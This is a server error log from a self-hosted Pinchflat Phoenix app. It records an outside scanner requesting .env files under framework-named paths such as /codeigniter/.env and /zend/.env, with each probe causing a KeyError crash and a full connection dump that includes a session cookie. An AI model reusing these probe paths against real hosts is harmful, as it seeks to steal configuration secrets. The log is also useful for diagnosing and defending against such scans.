bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 84, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /prestashop/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/prestashop/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 84, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" (truncated) 02:10:14.644 [info] GET /codeigniter/.env 02:10:14.645 [debug] QUERY OK source="settings" db=0.2ms idle=325.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:14.645 [debug] QUERY OK source="settings" db=0.2ms idle=212.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:14.645 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:14.645 [error] #PID<0.3389.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 85) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /codeigniter/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /codeigniter/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/codeigniter/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 85, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3389.0>, params: %{}, path_info: ["codeigniter", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/codeigniter/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6fjxda2qGbkAARUB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/codeigniter/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 85, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /codeigniter/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/codeigniter/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 85, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8x (truncated) 02:10:14.748 [info] GET /cakephp/.env 02:10:14.749 [debug] QUERY OK source="settings" db=0.2ms idle=314.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:14.749 [debug] QUERY OK source="settings" db=0.1ms idle=205.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:14.749 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:14.749 [error] #PID<0.3390.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 86) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /cakephp/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cakephp/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cakephp/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 86, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3390.0>, params: %{}, path_info: ["cakephp", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/cakephp/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6f8f-wCz3tQAARVB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cakephp/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 86, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cakephp/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cakephp/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 86, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, hal (truncated) 02:10:14.867 [info] GET /zend/.env 02:10:14.868 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=323.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:14.869 [debug] QUERY OK source="settings" db=0.3ms idle=223.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:14.869 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:14.870 [error] #PID<0.3391.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 87) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /zend/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /zend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/zend/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 87, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3391.0>, params: %{}, path_info: ["zend", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/zend/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6gY1rHwXhSgAARWB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/zend/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 87, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /zend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/zend/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 87, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, ho (truncated) 02:10:14.985 [info] GET /yii/.env 02:10:14.986 [debug] QUERY OK source="settings" db=0.1ms idle=237.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:14.986 [debug] QUERY OK source="settings" db=0.1ms idle=237.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 